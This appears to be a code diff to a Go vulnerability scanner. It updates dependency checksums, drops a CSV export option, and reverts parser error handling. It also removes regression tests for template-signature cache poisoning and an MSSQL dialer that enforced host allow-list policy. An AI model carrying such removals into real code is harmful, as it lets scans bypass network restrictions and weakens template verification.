github.com/projectdiscovery/retryabledns v1.0.116 h1:tK28PJ4tLO7bgM89RpIFjkfTPMSbRegwvg9mN/q6z78=
|
||||
github.com/projectdiscovery/retryabledns v1.0.116/go.mod h1:r3vH0AKYtJ9fculcqRFrdVYe2ABcHwZeR4C6j3rqCbY=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.3.31 h1:0hSEZ5+jj6Oo1IL8qrytD36TK/qCxfe543jEaRqSTjs=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.3.31/go.mod h1:/WEa7YejxTCXEMLCGfGYaC3JsgXgzuqw8rv8cb4buEc=
|
||||
github.com/projectdiscovery/retryabledns v1.0.118 h1:vrWzUgjRyD5fg2QiPF0boDuSL/QYuoxPftgpYQv2MiQ=
|
||||
github.com/projectdiscovery/retryabledns v1.0.118/go.mod h1:qHuxflnN8BWWqQ+N+TIe9OTqmaMpE/G2+36chAcFQhg=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.3.34 h1:tp45jp3yAtXunuIPeOB1k4L/9vq4Tn9Lm0wkRHRKMnI=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.3.34/go.mod h1:O/9n0ltIPaX06kpgPAz0Ncq4uPQXttSIWapSu4xvd3E=
|
||||
github.com/projectdiscovery/sarif v0.1.0 h1:O541T+a448nSJsmIMnXXSOeDQEzpnCAYvRfe0eG5h74=
|
||||
github.com/projectdiscovery/sarif v0.1.0/go.mod h1:LBC+reM3bkI3qIIhE0rZaINaYX6VG+En6u2hHa5mA7E=
|
||||
github.com/projectdiscovery/stringsutil v0.0.2 h1:uzmw3IVLJSMW1kEg8eCStG/cGbYYZAja8BH3LqqJXMA=
|
||||
github.com/projectdiscovery/stringsutil v0.0.2/go.mod h1:EJ3w6bC5fBYjVou6ryzodQq37D5c6qbAYQpGmAy+DC0=
|
||||
github.com/projectdiscovery/tlsx v1.4.3-0.20261020052910-acb80c2c7c75 h1:3qJgfWzzwtFXc/vdUIurSzPzyjBH9NQe0wATkZMoQGI=
|
||||
github.com/projectdiscovery/tlsx v1.4.3-0.20261020052910-acb80c2c7c75/go.mod h1:8jqB9aHT6U8NkUsENvaSjD/iBEGB4Ta+CbJBMcvzP9c=
|
||||
github.com/projectdiscovery/tlsx v1.4.4 h1:XBoy/wwJ3pPwD+8vEtiIrJVJnC3QrKtVNRRZj3A0vH4=
|
||||
github.com/projectdiscovery/tlsx v1.4.4/go.mod h1:T26MvekV2O9keTvCKvij5pLEBb1OtC5LKYjAs/xgs1A=
|
||||
github.com/projectdiscovery/uncover v1.2.1 h1:8U46T/96CLT7BPoXBgkTvWqB06lOyeTSLvh5+UjzATE=
|
||||
github.com/projectdiscovery/uncover v1.2.1/go.mod h1:0p8onrWxfpXQEYs90ZDzTSpu1107gWmodX1NWqu/+z4=
|
||||
github.com/projectdiscovery/useragent v0.0.109 h1:b86BPdZvmgbJousa04jAugDRY4Y+rAvEamE0TFCPmeE=
|
||||
github.com/projectdiscovery/useragent v0.0.109/go.mod h1:sRyBqDAcD31RKYrO8fyXGowLd36fNwY1g0MNW9mp7zk=
|
||||
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350 h1:uXqpYa6XKV9dCvoti9PbSgIWIsBKPu5YKMywB9G4q0Q=
|
||||
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350/go.mod h1:TJgsyVjB02CavwZVFzUzPg6YOSJXQxLhL808JCiQKlU=
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.6 h1:1FXCMeCa1xVu2zaW+eeBcbVxtlMStqGOlKcMLyh2pzI=
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.6/go.mod h1:4E6+fh/ckaY3wo5tlM7lNYSkhuTYRHzu2YmGIRraXP0=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.7 h1:Odmjd1o4EkMff2F6QHi1dIYPIQPZUFy24YqmQCprmTk=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.7/go.mod h1:nqD1iPMcofpRA1DbXavPByJhWURrshT+l8WN9XjyQag=
|
||||
github.com/projectdiscovery/useragent v0.0.110 h1:hoKpQssbFLSSmK/Vxf/fG/a+PToEYdzLafG7HHbvCAc=
|
||||
github.com/projectdiscovery/useragent v0.0.110/go.mod h1:fOeQ2+nlOJHYuPpnWWrBz5q5dUo7efe/AmvWQdNsLUM=
|
||||
github.com/projectdiscovery/utils v0.11.13 h1:Mn3/rtyQvtn8XZy0UnVkxbAmn0afbHtWuMHUEztwWSw=
|
||||
github.com/projectdiscovery/utils v0.11.13/go.mod h1:TJgsyVjB02CavwZVFzUzPg6YOSJXQxLhL808JCiQKlU=
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.8 h1:bjQ99Lanzj8l+2ENwt24/LdZ09uR9IxkamXssBXahIQ=
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.8/go.mod h1:7gTNIjQSXsVmFDJJ3PT8+FhYE+dv6hZLGZSsRAEjVSw=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.9 h1:pms4u/qWaMYTMnI1R+MUKu/qRV3k/nruHG0wDj2IJmo=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.9/go.mod h1:9PyUvPQYG/JuO8ejBDwCcpCWk12/1R/i+7WUbsZ+KNY=
|
||||
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
|
||||
github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
|
||||
github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M=
|
||||
@@ -1230,8 +1228,8 @@ github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
github.com/yuin/goldmark v1.7.17 h1:p36OVWwRb246iHxA/U4p8OPEpOTESm4n+g+8t0EE5uA=
|
||||
github.com/yuin/goldmark v1.7.17/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg=
|
||||
github.com/yuin/goldmark v1.8.6 h1:d0VcaP1sx9GkFVkoW+KtggpGi2KZ965i14b0+bDQST4=
|
||||
github.com/yuin/goldmark v1.8.6/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg=
|
||||
github.com/yuin/goldmark-emoji v1.0.6 h1:QWfF2FYaXwL74tfGOW5izeiZepUDroDJfWubQI9HTHs=
|
||||
github.com/yuin/goldmark-emoji v1.0.6/go.mod h1:ukxJDKFpdFb5x0a5HqbdlcKtebh086iJpI31LTKmWuA=
|
||||
github.com/yuin/gopher-lua v1.1.1 h1:kYKnWBjvbNP4XLT3+bPEwAXJx262OhaHDWDVOPjL46M=
|
||||
@@ -1374,8 +1372,8 @@ golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
|
||||
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
|
||||
golang.org/x/mod v0.42.0 h1:ICeL3t2L30ljSPHHxDnR4fqVcBt/zR2zJAb9juavmQg=
|
||||
golang.org/x/mod v0.42.0/go.mod h1:u5fzIrRInkL8MaO1cbRkUHT64v303YIT5KEqpNr7jRs=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -1603,8 +1601,8 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
|
||||
golang.org/x/tools v0.51.0 h1:k4Xc/1Om9jwkBJBo4NVLMSARBoWtK10mx+W5BnXCeAI=
|
||||
golang.org/x/tools v0.51.0/go.mod h1:9eEncMayCV6zRMGhR5eZEC2iBx98qWcF1HZ9Z7wJOoA=
|
||||
golang.org/x/tools v0.52.0 h1:ryxg4U63oaUYk7uOLTF37n43f4qgtGvqV4Ioit1BaEs=
|
||||
golang.org/x/tools v0.52.0/go.mod h1:ItcP5UNaVGG+Yc4eIYmaFLNJ4soEopkx5Y2d4lcEurs=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
|
||||
@@ -25,7 +25,6 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
|
||||
@@ -372,18 +371,6 @@ func createReportingOptions(options *types.Options) (*reporting.Options, error)
|
||||
}
|
||||
}
|
||||
}
|
||||
if options.CSVExport != "" {
|
||||
// Combine the CLI options with the config file options with the CLI options taking precedence
|
||||
if reportingOptions.CSVExporter != nil {
|
||||
reportingOptions.CSVExporter.File = options.CSVExport
|
||||
reportingOptions.CSVExporter.OmitRaw = options.OmitRawRequests
|
||||
} else {
|
||||
reportingOptions.CSVExporter = &csv.Options{
|
||||
File: options.CSVExport,
|
||||
OmitRaw: options.OmitRawRequests,
|
||||
}
|
||||
}
|
||||
}
|
||||
if options.PDFExport != "" {
|
||||
if reportingOptions.PDFExporter != nil {
|
||||
reportingOptions.PDFExporter.File = options.PDFExport
|
||||
|
||||
@@ -38,35 +38,6 @@ func TestCreateReportingOptions(t *testing.T) {
|
||||
require.Equal(t, resultOptions2.DenyList.Severities, resultOptions.DenyList.Severities)
|
||||
}
|
||||
|
||||
func TestCreateReportingOptionsCSVExport(t *testing.T) {
|
||||
t.Run("flag only", func(t *testing.T) {
|
||||
resultOptions, err := createReportingOptions(&types.Options{CSVExport: "out.csv", OmitRawRequests: true})
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, resultOptions.CSVExporter)
|
||||
require.Equal(t, "out.csv", resultOptions.CSVExporter.File)
|
||||
require.True(t, resultOptions.CSVExporter.OmitRaw)
|
||||
})
|
||||
|
||||
t.Run("flag is not set", func(t *testing.T) {
|
||||
resultOptions, err := createReportingOptions(&types.Options{})
|
||||
require.NoError(t, err)
|
||||
require.Nil(t, resultOptions.CSVExporter)
|
||||
})
|
||||
|
||||
t.Run("flag takes precedence over config file", func(t *testing.T) {
|
||||
config := filepath.Join(t.TempDir(), "report.yaml")
|
||||
require.NoError(t, os.WriteFile(config, []byte("csv:\n file: from-config.csv\n"), 0o600))
|
||||
|
||||
resultOptions, err := createReportingOptions(&types.Options{ReportingConfig: config})
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "from-config.csv", resultOptions.CSVExporter.File)
|
||||
|
||||
resultOptions, err = createReportingOptions(&types.Options{ReportingConfig: config, CSVExport: "from-flag.csv"})
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "from-flag.csv", resultOptions.CSVExporter.File)
|
||||
})
|
||||
}
|
||||
|
||||
type TestStruct1 struct {
|
||||
A string `yaml:"a"`
|
||||
Struct *TestStruct2 `yaml:"b"`
|
||||
|
||||
@@ -2,7 +2,6 @@ package loader
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
@@ -20,7 +19,6 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
templatesigner "github.com/projectdiscovery/nuclei/v3/pkg/templates/signer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats"
|
||||
"github.com/stretchr/testify/require"
|
||||
@@ -687,135 +685,9 @@ http:
|
||||
loaded := loadSingleTemplateForTest(t, templatePath, "loader-unsigned-flow-template")
|
||||
require.Len(t, loaded, 1)
|
||||
require.Equal(t, "unsigned-flow-template", loaded[0].ID)
|
||||
require.False(t, loaded[0].Verified)
|
||||
require.Equal(t, initialUnverifiedJavascript, stats.GetValue(templates.SkippedUnverifiedJavascriptTemplateStats))
|
||||
}
|
||||
|
||||
func contentDigestForLoaderTest(data []byte) [32]byte {
|
||||
dataDigest := sha256.Sum256(data)
|
||||
return sha256.Sum256(dataDigest[:])
|
||||
}
|
||||
|
||||
func loadTemplateWithPoisonedMetadata(t *testing.T, templatePath, executionID string, source []byte, disableUnsigned bool) []*templates.Template {
|
||||
t.Helper()
|
||||
|
||||
fileInfo, err := os.Stat(templatePath)
|
||||
require.NoError(t, err)
|
||||
|
||||
metadataIndex, err := metadataindex.NewIndex(t.TempDir())
|
||||
require.NoError(t, err)
|
||||
metadataIndex.Set(templatePath, &metadataindex.Metadata{
|
||||
ID: "poisoned",
|
||||
FilePath: templatePath,
|
||||
ModTime: fileInfo.ModTime(),
|
||||
Name: "Poisoned",
|
||||
Authors: []string{"pdteam"},
|
||||
Severity: "info",
|
||||
Verified: true,
|
||||
TemplateVerifier: "projectdiscovery/nuclei-templates",
|
||||
VerifierFingerprint: templatesigner.DefaultTemplateVerifiers[0].Fingerprint(),
|
||||
ContentDigest: contentDigestForLoaderTest(source),
|
||||
Validation: metadataindex.ValidationStrict,
|
||||
})
|
||||
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
options.Logger = &gologger.Logger{}
|
||||
options.ExecutionId = executionID
|
||||
options.DisableUnsignedTemplates = disableUnsigned
|
||||
options.TemplateLoadingConcurrency = 1
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
catalog := disk.NewCatalog("")
|
||||
executerOpts := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOpts.Catalog = catalog
|
||||
executerOpts.Parser = templates.NewParser()
|
||||
executerOpts.Logger = options.Logger
|
||||
|
||||
workflowLoader, err := workflow.NewLoader(executerOpts)
|
||||
require.NoError(t, err)
|
||||
executerOpts.WorkflowLoader = workflowLoader
|
||||
|
||||
loaderConfig := NewConfig(options, catalog, executerOpts)
|
||||
loaderConfig.MetadataIndex = metadataIndex
|
||||
store, err := New(loaderConfig)
|
||||
require.NoError(t, err)
|
||||
|
||||
loaded, err := store.LoadTemplates([]string{templatePath})
|
||||
require.NoError(t, err)
|
||||
return loaded
|
||||
}
|
||||
|
||||
func TestLoadTemplatesIgnoresSelfConsistentCacheForJavascript(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "poisoned-javascript.yaml")
|
||||
source := []byte(`id: poisoned-cached-javascript
|
||||
|
||||
info:
|
||||
name: Poisoned Cached Javascript
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
javascript:
|
||||
- init: |
|
||||
set("init-status", "executed")
|
||||
code: |
|
||||
Export("poisoned-cached-javascript")
|
||||
`)
|
||||
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
|
||||
|
||||
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-javascript", source, false)
|
||||
require.Empty(t, loaded)
|
||||
}
|
||||
|
||||
func TestLoadTemplatesAllowsUnsignedFlowDespitePoisonedCache(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "poisoned-flow.yaml")
|
||||
source := []byte(`id: poisoned-cached-flow
|
||||
|
||||
info:
|
||||
name: Poisoned Cached Flow
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
flow: http(1)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`)
|
||||
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
|
||||
|
||||
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-flow", source, false)
|
||||
require.Len(t, loaded, 1)
|
||||
require.Equal(t, "poisoned-cached-flow", loaded[0].ID)
|
||||
require.False(t, loaded[0].Verified)
|
||||
require.True(t, loaded[0].IsFlowTemplate())
|
||||
}
|
||||
|
||||
func TestLoadTemplatesSkipsPoisonedHttpWhenUnsignedDisabled(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "poisoned-http.yaml")
|
||||
source := []byte(`id: poisoned-cached-http
|
||||
|
||||
info:
|
||||
name: Poisoned Cached HTTP
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`)
|
||||
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
|
||||
|
||||
initialUnverified := stats.GetValue(templates.SkippedUnverifiedTemplateStats)
|
||||
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-http-dut", source, true)
|
||||
require.Empty(t, loaded)
|
||||
require.Equal(t, initialUnverified+1, stats.GetValue(templates.SkippedUnverifiedTemplateStats))
|
||||
}
|
||||
|
||||
func TestLoadTemplatesDoesNotRequireGlobalMatchersFlagToLoadTemplate(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "global-matchers.yaml")
|
||||
err := os.WriteFile(templatePath, []byte(`id: global-matchers-template
|
||||
|
||||
@@ -38,11 +38,14 @@ func NewEntityParser(dir string) (*EntityParser, error) {
|
||||
return parser.ParseFile(fset, filename, src, parser.ParseComments)
|
||||
},
|
||||
}
|
||||
|
||||
pkg, err := loadPackage(cfg, ".")
|
||||
pkgs, err := packages.Load(cfg, ".")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(pkgs) == 0 {
|
||||
return nil, errors.New("no packages found")
|
||||
}
|
||||
pkg := pkgs[0]
|
||||
|
||||
return &EntityParser{
|
||||
syntax: pkg.Syntax,
|
||||
@@ -510,7 +513,6 @@ func (p *EntityParser) extractVarsNConstants() {
|
||||
|
||||
// loadImportedPackages loads all imported packages
|
||||
func (p *EntityParser) loadImportedPackages() error {
|
||||
cfg := &packages.Config{Mode: packages.NeedTypes | packages.NeedSyntax | packages.NeedTypesInfo}
|
||||
// get all import statements
|
||||
// iterate over all imports
|
||||
for _, file := range p.syntax {
|
||||
@@ -520,7 +522,7 @@ func (p *EntityParser) loadImportedPackages() error {
|
||||
// remove the quotes from the path
|
||||
path = path[1 : len(path)-1]
|
||||
// load the package
|
||||
pkg, err := loadPackage(cfg, path)
|
||||
pkg, err := loadPackage(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -541,31 +543,18 @@ func (p *EntityParser) loadImportedPackages() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// loadPackage loads the package that pattern names.
|
||||
//
|
||||
// packages.Load reports parse, type, and list errors in Package.Errors
|
||||
// rather than in its returned error, so loadPackage converts them into an
|
||||
// error. The parser assumes a complete syntax tree and type information.
|
||||
func loadPackage(cfg *packages.Config, pattern string) (*packages.Package, error) {
|
||||
pkgs, err := packages.Load(cfg, pattern)
|
||||
// Load the package containing the type definition
|
||||
// TODO: we don't support named imports yet
|
||||
func loadPackage(pkgPath string) (*packages.Package, error) {
|
||||
cfg := &packages.Config{Mode: packages.NeedTypes | packages.NeedSyntax | packages.NeedTypesInfo}
|
||||
pkgs, err := packages.Load(cfg, pkgPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(pkgs) == 0 {
|
||||
return nil, errors.New("no packages found")
|
||||
}
|
||||
|
||||
pkg := pkgs[0]
|
||||
if len(pkg.Errors) > 0 {
|
||||
errs := make([]error, len(pkg.Errors))
|
||||
for i, e := range pkg.Errors {
|
||||
errs[i] = e
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("package %s: %w", pkg.ID, errors.Join(errs...))
|
||||
}
|
||||
|
||||
return pkg, nil
|
||||
return pkgs[0], nil
|
||||
}
|
||||
|
||||
// exprToString converts an expression to a string
|
||||
|
||||
@@ -1,86 +0,0 @@
|
||||
package tsgen
|
||||
|
||||
import (
|
||||
"go/ast"
|
||||
"go/parser"
|
||||
"go/token"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
"golang.org/x/tools/go/packages"
|
||||
)
|
||||
|
||||
// writeModule writes src as the only package of a new Go module and
|
||||
// returns the module directory.
|
||||
func writeModule(t *testing.T, src string) string {
|
||||
t.Helper()
|
||||
|
||||
dir := t.TempDir()
|
||||
files := map[string]string{
|
||||
"go.mod": "module example.com/tsgentest\n\ngo 1.21\n",
|
||||
"example.go": src,
|
||||
}
|
||||
|
||||
for name, content := range files {
|
||||
require.NoError(t, os.WriteFile(filepath.Join(dir, name), []byte(content), 0o600))
|
||||
}
|
||||
|
||||
return dir
|
||||
}
|
||||
|
||||
func TestNewEntityParser(t *testing.T) {
|
||||
const src = `package example
|
||||
|
||||
import "strings"
|
||||
|
||||
// Upper returns s in upper case.
|
||||
func Upper(s string) string { return strings.ToUpper(s) }
|
||||
`
|
||||
|
||||
p, err := NewEntityParser(writeModule(t, src))
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, p.Parse())
|
||||
|
||||
entities := p.GetEntities()
|
||||
|
||||
names := make([]string, 0, len(entities))
|
||||
for _, e := range entities {
|
||||
names = append(names, e.Name)
|
||||
}
|
||||
|
||||
require.Contains(t, names, "Upper")
|
||||
}
|
||||
|
||||
func TestNewEntityParserPackageErrors(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
src string
|
||||
}{
|
||||
{name: "syntax error", src: "package example\n\nfunc Broken( {\n\treturn 42\n}\n"},
|
||||
{name: "type error", src: "package example\n\nfunc Broken() int { return undefined }\n"},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
_, err := NewEntityParser(writeModule(t, tt.src))
|
||||
require.ErrorContains(t, err, "example.go:")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadImportedPackagesMissing(t *testing.T) {
|
||||
const src = `package example; import "example.com/tsgentest/missing"`
|
||||
|
||||
file, err := parser.ParseFile(token.NewFileSet(), "example.go", src, parser.ImportsOnly)
|
||||
require.NoError(t, err)
|
||||
p := &EntityParser{
|
||||
syntax: []*ast.File{file},
|
||||
imports: map[string]*packages.Package{},
|
||||
}
|
||||
|
||||
var pkgErr packages.Error
|
||||
|
||||
require.ErrorAs(t, p.loadImportedPackages(), &pkgErr)
|
||||
require.Contains(t, pkgErr.Msg, "example.com/tsgentest/missing")
|
||||
}
|
||||
@@ -8,6 +8,8 @@ import (
|
||||
|
||||
"fmt"
|
||||
|
||||
_ "github.com/microsoft/go-mssqldb"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
)
|
||||
|
||||
|
||||
+16
-87
@@ -9,58 +9,11 @@ import (
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
gomssql "github.com/microsoft/go-mssqldb"
|
||||
_ "github.com/microsoft/go-mssqldb"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/js/utils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
)
|
||||
|
||||
// mssqlCustomDialer routes connection dialing through Nuclei's fastdialer.
|
||||
// Implementing HostDialer ensures the driver delegates hostname resolution to the dialer
|
||||
// rather than using the local OS net.LookupIP, keeping DNS resolution, scan proxies,
|
||||
// and dial-time network policies strictly enforced.
|
||||
type mssqlCustomDialer struct {
|
||||
executionId string
|
||||
host string
|
||||
}
|
||||
|
||||
var _ gomssql.HostDialer = (*mssqlCustomDialer)(nil)
|
||||
|
||||
func (d *mssqlCustomDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||
dialers := protocolstate.GetDialersWithId(d.executionId)
|
||||
if dialers == nil {
|
||||
return nil, fmt.Errorf("dialers not initialized for %s", d.executionId)
|
||||
}
|
||||
targetHost, _, err := net.SplitHostPort(addr)
|
||||
if err != nil {
|
||||
targetHost = addr
|
||||
}
|
||||
if !protocolstate.IsHostAllowed(d.executionId, targetHost) {
|
||||
return nil, protocolstate.ErrHostDenied.Msgf(targetHost)
|
||||
}
|
||||
return dialers.Fastdialer.Dial(ctx, network, addr)
|
||||
}
|
||||
|
||||
func (d *mssqlCustomDialer) HostName() string {
|
||||
return d.host
|
||||
}
|
||||
|
||||
func openDB(executionId, target, username, password, dbName string) (*sql.DB, error) {
|
||||
host, _, err := net.SplitHostPort(target)
|
||||
if err != nil {
|
||||
host = target
|
||||
}
|
||||
connString := mssqlConnString(target, username, password, dbName)
|
||||
connector, err := gomssql.NewConnector(connString)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
connector.Dialer = &mssqlCustomDialer{
|
||||
executionId: executionId,
|
||||
host: host,
|
||||
}
|
||||
return sql.OpenDB(connector), nil
|
||||
}
|
||||
|
||||
type (
|
||||
// Client is a client for MS SQL database.
|
||||
// Internally client uses microsoft/go-mssqldb driver.
|
||||
@@ -114,7 +67,9 @@ func connect(ctx context.Context, executionId string, host string, port int, use
|
||||
|
||||
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
|
||||
|
||||
db, err := openDB(executionId, target, username, password, dbName)
|
||||
connString := mssqlConnString(target, username, password, dbName)
|
||||
|
||||
db, err := sql.Open("sqlserver", connString)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -124,7 +79,16 @@ func connect(ctx context.Context, executionId string, host string, port int, use
|
||||
|
||||
_, err = db.ExecContext(ctx, "select 1")
|
||||
if err != nil {
|
||||
if isNetworkError(err) {
|
||||
switch {
|
||||
case strings.Contains(err.Error(), "connect: connection refused"):
|
||||
fallthrough
|
||||
case strings.Contains(err.Error(), "no pg_hba.conf entry for host"):
|
||||
fallthrough
|
||||
case strings.Contains(err.Error(), "network unreachable"):
|
||||
fallthrough
|
||||
case strings.Contains(err.Error(), "reset"):
|
||||
fallthrough
|
||||
case strings.Contains(err.Error(), "i/o timeout"):
|
||||
return false, err
|
||||
}
|
||||
return false, nil
|
||||
@@ -132,42 +96,6 @@ func connect(ctx context.Context, executionId string, host string, port int, use
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// isNetworkError reports whether an error indicates a network, dialer,
|
||||
// timeout, or policy failure as opposed to a server-side authentication rejection.
|
||||
func isNetworkError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||
return true
|
||||
}
|
||||
var netErr net.Error
|
||||
if errors.As(err, &netErr) {
|
||||
return true
|
||||
}
|
||||
errStr := strings.ToLower(err.Error())
|
||||
for _, marker := range []string{
|
||||
"connection refused",
|
||||
"actively refused",
|
||||
"port closed",
|
||||
"unable to open tcp connection",
|
||||
"network unreachable",
|
||||
"connection reset",
|
||||
"i/o timeout",
|
||||
"connection timed out",
|
||||
"context canceled",
|
||||
"deadline exceeded",
|
||||
"dialers not initialized",
|
||||
"network policy",
|
||||
"host denied",
|
||||
} {
|
||||
if strings.Contains(errStr, marker) {
|
||||
return true
|
